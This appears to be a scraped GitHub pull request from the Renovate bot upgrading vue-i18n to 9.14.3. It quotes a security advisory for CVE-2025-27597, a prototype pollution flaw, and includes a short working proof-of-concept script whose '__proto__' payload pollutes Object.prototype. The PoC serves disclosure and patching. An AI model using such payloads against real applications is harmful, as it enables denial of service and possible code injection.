Update dependency vue-i18n to v9.14.3 [SECURITY] (master) #116

renovate · 2025-03-07T19:38:38Z

This PR contains the following updates:

Package	Change	Age	Confidence
vue-i18n (source)	`9.2.2` → `9.14.3`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2025-27597

Vulnerability type:
Prototype Pollution

Vulnerability Location(s):

# v9.1
node_modules/@&#8203;intlify/message-resolver/index.js

# v9.2 or later
node_modules/@&#8203;intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @&#8203;intlify/message-resolver@9.1.10
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

// poc.js
(async () => {
    const lib = await import('@&#8203;intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();

Release Notes

intlify/vue-i18n (vue-i18n)

Update dependency vue-i18n to v9.14.3 [SECURITY] (master) #116

Are you sure you want to change the base?

Update dependency vue-i18n to v9.14.3 [SECURITY] (master) #116

Uh oh!

Conversation

renovate bot commented Mar 7, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Release Notes

What's Changed

🔒 Security Fixes

What's Changed

🔒 Security Fixes

What's Changed

🐛 Bug Fixes

What's Changed

⚡ Improvement Features

What's Changed

💥 Breaking Changes

What's Changed

🐛 Bug Fixes

What's Changed

⚠️ Deprecated Features

⚡ Improvement Features

📝️ Documentations

New Contributors

What's Changed

🐛 Bug Fixes

👕 Refactoring

What's Changed

🌟 Features

What's Changed

🐛 Bug Fixes

What's Changed

🌟 Features

New Contributors

What's Changed

🐛 Bug Fixes

New Contributors

What's Changed

⚡ Improvement Features

📝️ Documentations

New Contributors

What's Changed

🌟 Features

📝️ Documentations

New Contributors

What's Changed

🐛 Bug Fixes

📝️ Documentations

New Contributors

What's Changed

⚡ Improvement Features

📈 Performance Fixes

📝️ Documentations

New Contributors

What's Changed

🌟 Features

What's Changed

⚡ Improvement Features

What's Changed

🌟 Features

What's Changed

🐛 Bug Fixes

New Contributors

What's Changed

🐛 Bug Fixes

What's Changed

🐛 Bug Fixes

New Contributors

What's Changed

🐛 Bug Fixes

What's Changed

🐛 Bug Fixes

What's Changed

🌟 Features

🐛 Bug Fixes

⚡ Improvement Features

📝️ Documentations

What's Changed

renovate bot commented Mar 7, 2025 •

edited

Loading